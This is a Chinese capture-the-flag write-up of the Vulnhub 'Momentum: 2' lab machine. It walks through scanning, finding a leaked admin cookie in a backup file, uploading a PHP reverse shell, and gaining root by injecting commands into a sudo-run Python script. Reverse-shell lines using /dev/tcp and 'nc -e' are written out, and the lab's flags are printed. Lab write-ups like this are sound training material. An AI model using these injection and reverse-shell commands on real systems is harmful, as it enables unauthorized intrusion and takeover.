【Vulnhub 靶場】【Momentum: 2】【簡單】【20210628】

1、環境介紹

靶場介紹:https://www.vulnhub.com/entry/momentum-2,702/
靶場下載:https://download.vulnhub.com/momentum/Momentum2.ova
靶場難度:簡單
發布日期:2021年06月28日
文件大小:698 MB
靶場作者:AL1ENUM
靶場系列:Momentum
靶場描述

  • 這與 VirtualBox 而不是 VMware 配合使用效果更好

打靶耗時:2+小時,目錄掃描是重點,還是要多收集一些。重要的不是打下來,而是從靶場中學到了什么,哪怕是最簡單的靶場,依然是好靶場。
打靶關鍵

  1. 目錄掃描,文件后綴是重點
  2. POST 請求構造、BP 爆破
  3. Python 代碼閱讀,反彈命令構造

2、主機發現與端口掃描

(base) ┌──(root?kali)-[~] (??????)?? 
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:cb:7e:f5, IPv4: 192.168.56.3
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    3a:f9:d3:90:a4:64       (Unknown: locally administered)
192.168.56.47   08:00:27:dd:95:ba       PCS Systemtechnik GmbH2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.513 seconds (101.87 hosts/sec). 2 responded
(base) ┌──(root?kali)-[~] (??????)?? 
└─# nmap -T4 -sC -sV -p- -A --min-rate=1000 192.168.56.47
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-02 23:12 EST
Nmap scan report for 192.168.56.47
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 02:32:8e:5b:27:a8:ea:f2:fe:11:db:2f:57:f4:11:7e (RSA)
|   256 74:35:c8:fb:96:c1:9f:a0:dc:73:6c:cd:83:52:bf:b7 (ECDSA)
|_  256 fc:4a:70:fb:b9:7d:32:89:35:0a:45:3d:d9:8b:c5:95 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Momentum 2 | Index 
MAC Address: 08:00:27:DD:95:BA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT     ADDRESS
1   1.21 ms 192.168.56.47OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.49 seconds

3、端口訪問

3.1、22端口 - SSH

  • 沒有什么有價值的提示
(base) ┌──(root?kali)-[~] (??????)?? 
└─# ssh 192.168.56.47
The authenticity of host '192.168.56.47 (192.168.56.47)' can·t be established.
ED25519 key fingerprint is SHA256:aVUkKd3or0Ml25d7E6p9nRDjyvlHUFPmrhZnutzxW80.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.47' (ED25519) to the list of known hosts.
root@192.168.56.47·s password: 
Permission denied, please try again.
root@192.168.56.47·s password: 
Permission denied, please try again.
root@192.168.56.47·s password: 
root@192.168.56.47: Permission denied (publickey,password).

3.2、80端口 - Web

  • 根據當前收集信息:上傳木馬,在 owls 目錄中查看

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳在這里插入圖片描述

# 基礎小字典,初掃摸底
dirb http://192.168.56.47
# 較全面 conda activate py37
dirsearch -u http://192.168.56.47 -t 64 -e *
# 包含靜態檢查 conda activate py310
cd ~/dirsearch_bypass403 ; python dirsearch.py -u "http://192.168.56.47" -j yes -b yes
# 較全面 Plus conda activate py39
cd ~/soft/dirmap ; python3 dirmap.py -i http://192.168.56.47 -lcf
# 常規文件掃描
gobuster dir -u http://192.168.56.47 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x txt,php,html,conf -e -k -r -q
# 可執行文件掃描
gobuster dir -u http://192.168.56.47 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x js,aspx,cgi,sh,jsp -e -k -r -q
# 壓縮包,備份掃描
gobuster dir -u http://192.168.56.47 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x rar,zip,7z,tar.gz,bak,txt,old,temp -e -k -r -q
  • http://192.168.56.47/index.html
  • http://192.168.56.47/ajax.php
  • http://192.168.56.47/manual/index.html
  • http://192.168.56.47/dashboard.html
  • http://192.168.56.47/css/
  • http://192.168.56.47/img/
  • http://192.168.56.47/js/
  • http://192.168.56.47/manual/
  • http://192.168.56.47/owls/

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

4、嘗試上傳木馬

  • 上傳失敗,查看uploadFile()方法

在這里插入圖片描述
在這里插入圖片描述

function uploadFile() {// 獲取文件輸入框中的文件列表var files = document.getElementById("file").files;// 如果文件列表長度大于0if(files.length > 0 ){// 創建一個FormData對象var formData = new FormData();// 將文件添加到FormData對象中formData.append("file", files[0]);// 創建一個XMLHttpRequest對象var xhttp = new XMLHttpRequest();// 設置請求的方法為POST,并指定ajax文件路徑為"ajax.php"xhttp.open("POST", "ajax.php", true);// 在請求狀態改變時調用的回調函數xhttp.onreadystatechange = function() {// 當請求狀態為4(已完成)且狀態碼為200(請求成功)時執行以下代碼if (this.readyState == 4 && this.status == 200) {// 獲取服務器返回的響應數據var response = this.responseText;// 如果響應數據為1,即上傳成功if(response == 1){alert("Upload successfully.");}else{alert("File not uploaded.");}}};// 發送帶有數據的請求xhttp.send(formData);}else{alert("Please select a file");}}

4.1、BP 抓包,修改請求,嘗試上傳(試了很多方法沒搞出來)

  • 修改文件后綴:
    • 「php」的等效代替「phtml」「phar」「php4」「php5」
    • 「jpeg」等
  • 修改 Content-Type:「image/jpeg」、「image/png」、「image/gif」
  • 根據提示:~ Upload Your Research File about Owls
    • 猜測可能只是上傳 「.txt」「.pdf」「.word」這樣的文件

在這里插入圖片描述

5、重新目錄掃描

  • 當前完全沒有什么可以繼續利用的信息了
  • 圖片隱寫查詢,也沒有什么內容,這里就省略了
# php.bak:這個后綴的確是我沒想到的。。。查看資料才知道
gobuster dir -u http://192.168.56.47 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x php.bak -e -k -r -q
  • http://192.168.56.47/ajax.php.bak
// 如果存在名為admin的cookie,并且其值等于'&G6u@B6uDXMq&Ms'
// 老板讓我在 cookie 的末尾再加一個大寫字母
if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == '&G6u@B6uDXMq&Ms'){// 如果滿足條件,將$valid_ext設置為包含"pdf""php""txt"的數組// [+] 新增 if $_POST['secure'] == 'val1d'$valid_ext = array("pdf","php","txt");
}
else{// 如果不滿足條件,將$valid_ext設置為包含"txt"的數組$valid_ext = array("txt");
}// 請記住,成功上傳會返回1(這是針對其他代碼的備注,不是對當前代碼的解析)

6、BP 請求修改

  • PHP 反彈連接生成:https://forum.ywhack.com/reverse-shell/

在這里插入圖片描述

POST /ajax.php HTTP/1.1
Host: 192.168.56.47
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHVU52qr8taGucVMk
Accept: */*
Origin: http://192.168.56.47
Referer: http://192.168.56.47/dashboard.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Cookie: admin=&G6u@B6uDXMq&Ms§A§------WebKitFormBoundaryHVU52qr8taGucVMk
Content-Disposition: form-data; name="secure";val1d
------WebKitFormBoundaryHVU52qr8taGucVMk
Content-Disposition: form-data; name="file"; filename="php-reverse-shell.php"
Content-Type: application/x-php<?phpset_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.3';  // CHANGE THIS
$port = 7890;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
......(php反彈連接木馬,此處省略)
------WebKitFormBoundaryHVU52qr8taGucVMk--

在這里插入圖片描述
在這里插入圖片描述

# http://192.168.56.47/owls/php-reverse-shell.php(base) ┌──(root?kali)-[~/soft/hack] (??????)?? 
└─# nc -lvnp 7890                            
listening on [any] 7890 ...
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.47] 59988
Linux momentum2 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux23:43:35 up 38 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ SHELL=/bin/bash script -q /dev/null
www-data@momentum2:/$

7、信息收集

  • 發現一個用戶:athena
www-data@momentum2:/$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
athena:x:1000:1000:athena,,,:/home/athena:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
  • password-reminder.txt(密碼提示)
    • myvulnerableapp[Asterisk](myvulnerablelap[星號])
  • 猜測密碼可能:
    • myvulnerableapp
    • myvulnerableapp[Asterisk]
    • myvulnerableapp*
    • myvulnerableapp[*]
www-data@momentum2:/$ cd /home/athena
www-data@momentum2:/home/athena$ ls -al
total 32
drwxr-xr-x 3 athena athena 4096 May 27  2021 .
drwxr-xr-x 4 root   root   4096 May 27  2021 ..
-rw-r--r-- 1 athena athena  220 May 25  2021 .bash_logout
-rw-r--r-- 1 athena athena 3526 May 25  2021 .bashrc
drwxr-xr-x 3 athena athena 4096 May 27  2021 .local
-rw-r--r-- 1 athena athena  807 May 25  2021 .profile
-rw-r--r-- 1 athena athena   37 May 27  2021 password-reminder.txt
-rw-r--r-- 1 root   root    241 May 27  2021 user.txt
www-data@momentum2:/home/athena$ cat password-reminder.txt
password : myvulnerableapp[Asterisk]
www-data@momentum2:/home/athena$ cat user.txt
/                         \
~ Momentum 2 ~ User Owned ~
\                         /---------------------------------------------------
FLAG : 4WpJT9qXoQwFGeoRoFBEJZiM2j2Ad33gWipzZkStMLHw
---------------------------------------------------

8、嘗試 SSH 登錄

  • 經嘗試,密碼為:myvulnerableapp*
(base) ┌──(root?kali)-[~] (??????)?? 
└─# ssh athena@192.168.56.47
athena@192.168.56.47·s password: 
Permission denied, please try again.
athena@192.168.56.47·s password: 
Permission denied, please try again.
athena@192.168.56.47·s password: 
Linux momentum2 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu May 27 18:12:57 2021 from 10.0.2.15
athena@momentum2:~$

8.1、信息收集

  • 發現可用 SUID:(root) NOPASSWD: /usr/bin/python3 /home/team-tasks/cookie-gen.py
  • 但是文件只讀,查看內部文件,看看有沒有什么需要改的被調用文件,或者輸入是否可以被利用
athena@momentum2:~$ history1  history
athena@momentum2:~$ id
uid=1000(athena) gid=1000(athena) groups=1000(athena),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
athena@momentum2:~$ sudo -l
Matching Defaults entries for athena on momentum2:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser athena may run the following commands on momentum2:(root) NOPASSWD: /usr/bin/python3 /home/team-tasks/cookie-gen.py
athena@momentum2:~$ ls -al /home/team-tasks/cookie-gen.py
-rw-r--r-- 1 root root 402 May 27  2021 /home/team-tasks/cookie-gen.py
  • 使用了「echo」命令,可能存在「環境變量」提權
  • 「echo」原封不動的執行了用戶輸入的命令「seed」變量,也可以用于提權。
import random
import os
import subprocess# 打印提示信息,生成隨機 Cookie
# 打印提示信息,出于安全原因我們會記錄 Cookie 的種子
print('~ Random Cookie Generation ~')
print('[!] for security reasons we keep logs about cookie seeds.')# 字符集合,用于生成隨機 Cookie 的字符
chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'# 用戶輸入種子
# 設置隨機數種子為用戶輸入的種子
seed = input("Enter the seed : ")
random.seed = seed# 初始化空的 Cookie 字符串
cookie = ''
# 循環20次,生成20個字符的 Cookie
for c in range(20):# 從字符集合中隨機選擇一個字符,并加入到 Cookie 字符串中cookie += random.choice(chars)print(cookie)# 構造一個命令 并 執行命令,將種子寫入 log.txt 文件中
cmd = "echo %s >> log.txt" % seed
subprocess.Popen(cmd, shell=True)

9、嘗試提權

9.1、環境變量(失敗)

  • 嘗試替換「/tmp/echo」內容,依然全部失敗
  • 可能 py 腳本里用到的「echo」不是從「/tmp/echo」取的
athena@momentum2:~$ echo '/bin/bash' > /tmp/echo
athena@momentum2:~$ chmod +x /tmp/echo
athena@momentum2:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
athena@momentum2:~$ export PATH=/tmp:$PATH
athena@momentum2:~$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
athena@momentum2:~$ which echo
/tmp/echo
athena@momentum2:~$ sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
~ Random Cookie Generation ~
[!] for security reasons we keep logs about cookie seeds.
Enter the seed : 1
DBcfH#cbhJI@bhbhMbLY
athena@momentum2:~$ 

9.2、嘗試直接輸入命令

  • 下面是兩條最初嘗試的失敗命令
  • 報錯原因查詢:/bin/sh: 1: Syntax error: Bad fd number
    • 經過查閱資料得知,有可能是sh 鏈接到了 dash,而非 bash。
athena@momentum2:~$ sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
~ Random Cookie Generation ~
[!] for security reasons we keep logs about cookie seeds.
Enter the seed : ; & /bin/bash -p ;
fQaVdQdXPKCcBMNTMVM$
athena@momentum2:~$ sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
~ Random Cookie Generation ~
[!] for security reasons we keep logs about cookie seeds.
Enter the seed : ;bash -i >& /dev/tcp/192.168.56.3/7777 0>&1;
YLPadWXNhPaXCBGOdbdS/bin/sh: 1: Syntax error: Bad fd numberathena@momentum2:~$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 May 25  2021 /bin/sh -> dash
  • 下面兩條命令執行成功(選其一即可)
    • ; nc -e /bin/bash 192.168.56.3 7777;
    • ; bash -c 'bash -i >& /dev/tcp/192.168.56.3/7777 0>&1';(本人推薦??????????)

athena@momentum2:~$ sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
~ Random Cookie Generation ~
[!] for security reasons we keep logs about cookie seeds.
Enter the seed : ; nc -e /bin/bash 192.168.56.3 7777;
cFDDdC$QhdISFWMbODEYathena@momentum2:~$
athena@momentum2:~$ sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
~ Random Cookie Generation ~
[!] for security reasons we keep logs about cookie seeds.
Enter the seed : ; bash -c 'bash -i >& /dev/tcp/192.168.56.3/7777 0>&1';
WaIGKVehfQbXXfffOb#Lathena@momentum2:~$

9.3、提權成功,收集 flag

root@momentum2:/home/athena# cd ~
cd ~
root@momentum2:~# ls -al
ls -al
total 32
drwx------  4 root root 4096 May 27  2021 .
drwxr-xr-x 18 root root 4096 May 25  2021 ..
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root 4096 May 25  2021 .config
drwxr-xr-x  3 root root 4096 May 27  2021 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root  253 May 27  2021 root.txt
-rw-r--r--  1 root root  227 May 25  2021 .wget-hsts
root@momentum2:~# cat root.txt
cat root.txt
//                    \\
}  Rooted - Momentum 2 {
\\                    //---------------------------------------------------
FLAG : 4bRQL7jaiFqK45dVjC2XP4TzfKizgGHTMYJfSrPEkezG
---------------------------------------------------by Alienum with <3

10、番外篇(查詢環境變量提權失敗的原因)

10.0、結論:

  1. 設置前后,并沒有改變 Python 腳本的環境變量
  2. Python 應該是重置了環境變量,而不是使用了誰的環境變量
  3. 經過定位查詢:SUDO 設置了「安全路徑(secure_path)」,默認情況下,sudo 命令只能在這些路徑下找到可執行文件。

10.1、修改 用戶 環境變量

  • 使用 root 權限,添加查詢調用echo位置
root@momentum2:~# echo "print(subprocess.Popen(['which', 'echo'], stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())" >> /home/team-tasks/cookie-gen.py
echo "print(subprocess.Popen(['which', 'echo'], stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())" >> /home/team-tasks/cookie-gen.py
root@momentum2:~# echo "print(subprocess.Popen(['echo', '$PATH'], stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())" >> /home/team-tasks/cookie-gen.py
echo "print(subprocess.Popen(['echo', '$PATH'], stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())" >> /home/team-tasks/cookie-gen.py
  • 環境變量設置前
athena@momentum2:~$ sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
~ Random Cookie Generation ~
[!] for security reasons we keep logs about cookie seeds.
Enter the seed : 1
aUNGYNM#GMHV@bYJdLDP
(b'/usr/bin/echo\n', b'')
(b'/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n', b'')
  • 設置環境變量
athena@momentum2:~$ echo '/bin/bash' > /tmp/echo
athena@momentum2:~$ chmod +x /tmp/echo
athena@momentum2:~$ export PATH=/tmp:$PATH
athena@momentum2:~$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
athena@momentum2:~$ which echo
/tmp/echo
  • 環境變量設置后
athena@momentum2:~$ sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
~ Random Cookie Generation ~
[!] for security reasons we keep logs about cookie seeds.
Enter the seed : 1
cZXUabAYGAhdcXPIeRJA
(b'/usr/bin/echo\n', b'')
(b'/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n', b'')

10.2、修改 root 環境變量

  • Python 腳本的環境變量依然爆出不變。。。
root@momentum2:~# export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
root@momentum2:~# echo $PATH
echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
athena@momentum2:~$ sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
~ Random Cookie Generation ~
[!] for security reasons we keep logs about cookie seeds.
Enter the seed : 1
AZdfEXdJddbM@MDQSOD$
(b'/usr/bin/echo\n', b'')
(b'/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n', b'')

10.3、SUDO 文件查看

  • 的確都顯示「secure_path」,是我以前沒有注意,沒有區分「SUID提權」和「SUDO提權」
root@momentum2:~# cat /etc/sudoers
cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"# Host alias specification# User alias specification# Cmnd alias specification# User privilege specification
root    ALL=(ALL:ALL) ALL
athena ALL=NOPASSWD:/usr/bin/python3 /home/team-tasks/cookie-gen.py
# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL# See sudoers(5) for more information on "#include" directives:#includedir /etc/sudoers.d
athena@momentum2:~$ sudo -l
Matching Defaults entries for athena on momentum2:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser athena may run the following commands on momentum2:(root) NOPASSWD: /usr/bin/python3 /home/team-tasks/cookie-gen.py

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/207867.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/207867.shtml
英文地址,請注明出處:http://en.pswp.cn/news/207867.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

uni-app實現安卓原生態調用身份證閱讀器讀卡庫讀身份證和社保卡、銀行卡、IC卡等功能

DONSEE系列多功能讀寫器Android Uniapp API接口規范V1.0.0 本項目Uniapp調用了身份證讀卡器的庫文件&#xff1a;DonseeDeviceLib-debug.aar&#xff0c;該庫放到nativeplugins\donsee-card\android&#xff0c;然后會自動加載。SDK會自動檢查是否擁有USB設備權限&#xff0c;…

同旺科技 USB TO RS-485 定制款適配器--- 拆解(三)

內附鏈接 1、USB TO RS-485 定制款適配器 ● 支持USB 2.0/3.0接口&#xff0c;并兼容USB 1.1接口&#xff1b; ● 支持USB總線供電&#xff1b; ● 支持Windows系統驅動&#xff0c;包含WIN10 / WIN11系統32 / 64位&#xff1b; ● 支持Windows RT、Linux、Mac OS X、Windo…

《洛谷深入淺出進階篇》p2568 GCD

P2568 GCD - 洛谷 | 計算機科學教育新生態 (luogu.com.cn)https://www.luogu.com.cn/problem/P2568 大致題意&#xff1a;給定正整數n&#xff0c;求1< x,y<n 且 gcd&#xff08;x&#xff0c;y&#xff09;為素數的數對&#xff08;x&#xff0c;y&#xff09;有多少對。…

一文搞懂全連接算法和它的作用

如果你是搞AI算法的同學&#xff0c;相信你在很多地方都見過全連接層。 無論是處理圖片的卷積神經網絡&#xff08;CNN&#xff09;&#xff0c;還是處理文本的自然語言處理&#xff08;NLP&#xff09;網絡&#xff0c;在網絡的結尾做分類的時候&#xff0c;總是會出現一個全…

國外小哥綜合傳統CGI和AI技術制作出融合Lofi音樂與人工智能動畫作品

這個視頻制作花費了18個小時&#xff0c;渲染則耗費了4個小時&#xff0c;使用了Midjourney、PS GenFill、After Effects和Magnific AI等工具。 國外小哥綜合傳統CGI和AI技術制作出融合Lofi音樂與人工智能動畫作品 大致制作流程&#xff1a; Midjourney出圖&#xff0c;PS Gen…

P1047 [NOIP2005 普及組] 校門外的樹題解

題目 某校大門外長度為 l 的馬路上有一排樹&#xff0c;每兩棵相鄰的樹之間的間隔都是1 米。我們可以把馬路看成一個數軸&#xff0c;馬路的一端在數軸 00 的位置&#xff0c;另一端在l 的位置&#xff1b;數軸上的每個整數點&#xff0c;即0,1,2,…,l&#xff0c;都種有一棵樹…

藍橋杯:貨物擺放

小藍有一個超大的倉庫&#xff0c;可以擺放很多貨物。 現在&#xff0c;小藍有 n 箱貨物要擺放在倉庫&#xff0c;每箱貨物都是規則的正方體。小藍規定了長、寬、高三個互相垂直的方向&#xff0c;每箱貨物的邊都必須嚴格平行于長、寬、高。 小藍希望所有的貨物最終擺成一個大…

帶大家做一個,易上手的家常辣子雞

先從冰箱拿出雞肉解凍 拿小半根蔥 去掉最外面一層皮 切成小段 最備好 花椒 干辣椒 準備四五個大料 起鍋燒油 這道菜需要放其他菜兩到三倍的油 油溫上來之后 放入干辣椒和花椒進行翻炒 等它們都燒黑之后撈出來 這樣 辣味就留在油里面了 然后 倒入雞肉 蔥段 大料 然后 倒…

linux下ls和df卡死

1. strace看下卡在哪里 https://lokie.wang/article/43 strace ls strace df -h 2. 原因 https://segmentfault.com/a/1190000040620740 3. fuser 和 umount都不行&#xff0c;最后只能重啟 重啟機器還起不來了垃圾

Linux Server Quick Command

Linux Server Quick Command 查看服務器gpu情況&#xff1a;gpustat conda install gpustat nvidia-smi也可以監控 實時監控gpu狀態&#xff1a; 進入后臺運行&#xff1a;$ tmux &#xff08;tmux使用方法&#xff09; 退出當前窗口&#xff1a;先按下ctrlb&#xff0c;再按下…

php獲取本年、本月、本周時間戳和日期格式(2020)

獲取時間戳&#xff1a; //獲取今日開始時間戳和結束時間戳 $time1 strtotime(date(Y-m-d 00:00:00,time())); $time2 strtotime(date(Y-m-d 23:59:59,time()));//昨天時間戳 $time1 strtotime(date(Y-m-d 00:00:00,time()-3600*24)); $time2 strtotime(date(Y-m-d 23:59:…

Docker實戰筆記 一 Nginx鏡像

1.創建一個文件夾映射容器內文件 rootcenots-7.5:/home#mkdir demo rootcenots-7.5:/home#ll 2.拉取nginx鏡像 rootcenots-7.5:/home/demo#docker pull nginx Using default tag: latest latest: Pulling from library/nginx 1f7ce2fa46ab: Already exists 9b16c94bb686: P…

Qt內存管理、UI編輯器、客制化組件、彈出對話框、常用部件類

頭文件的小技巧 #include <QtWidgets> // 在自動生成的 .h 里面加上此句 適用條件&#xff1a; QT 的內存管理 當父窗體被關閉時&#xff0c;子部件的內存會自動釋放。 對象樹是一種管理對象生命周期的機制。當一個對象被添加到另一個對象的子對象列表中時&#xff0…

LeetCode刷題筆記之鏈表

一、移除鏈表元素 1. 203【移除鏈表元素】 題目&#xff1a; 給你一個鏈表的頭節點 head 和一個整數 val &#xff0c;請你刪除鏈表中所有滿足 Node.val val 的節點&#xff0c;并返回 新的頭節點 。代碼&#xff1a; /*** Definition for singly-linked list.* public cla…

docker:部署java Springboot項目

文章目錄 1、打 jar 包1、創建Dockerfile3、創建鏡像4、啟動容器其他注意事項docker中jdk的版本命名舉例&#xff1a;openjdk:11-ea-17-jre-slim舉例&#xff1a;8u312-jre-nanoserver-1809 通過find找文件 1、打 jar 包 將項目打一個 jar 包&#xff0c;可以使用 IDEA 1、…

2.6 A 的 LU 分解

一、A LU 線性代數很多關鍵的概念實際上就是矩陣的分解&#xff08;factorization&#xff09;。原始矩陣 A A A 變成兩個或三個特殊矩陣的乘積。第一個分解&#xff0c;實際上也是最重要的分解&#xff0c;來自消元法。因子 L L L 和 U U U 都是三角形矩陣&#xff0c;分…

前端實習面試常考(定位、文檔流)

前端實習面試常考&#xff08;定位、文檔流&#xff09; 最近在找前端的實習&#xff0c;看了很多面試題&#xff0c;再這里做一個總結分享給大家&#xff0c;希望對大家的實習面試起到一些幫助&#xff08;本人剛入門不久&#xff0c;如果大家對我的內容有異議&#xff0c;歡…

NgRx中dynamic reducer的原理和用法?

在 Angular 應用中&#xff0c;使用 NgRx 狀態管理庫時&#xff0c;動態 reducer 的概念通常是指在運行時動態添加或移除 reducer。這樣的需求可能源于一些特殊的場景&#xff0c;比如按需加載模塊時&#xff0c;你可能需要添加相應的 reducer。 以下是動態 reducer 的一般原理…

多級路由component頁面不加載

項目基于vue-element-admin 新建SubView.vue <template><router-view /> </template><script setup> </script>在父層添加component {path: /sj,component: Layout,redirect: /sj,name: 三級醫院評審標準(2022),meta: {title: 三級醫院評審標準(…

發布“最強”AI大模型,股價大漲,吊打GPT4的谷歌股票值得投資嗎?

來源&#xff1a;猛獸財經 作者&#xff1a;猛獸財經 谷歌在AI領域的最新進展&#xff0c;引發投資者關注 在谷歌-C(GOOGL)谷歌-A&#xff08;GOOG&#xff09;昨日發布了最新的AI大模型Gemini后&#xff0c;其股價就出現了大幅上漲&#xff0c;更是引發了投資者的密切關注&a…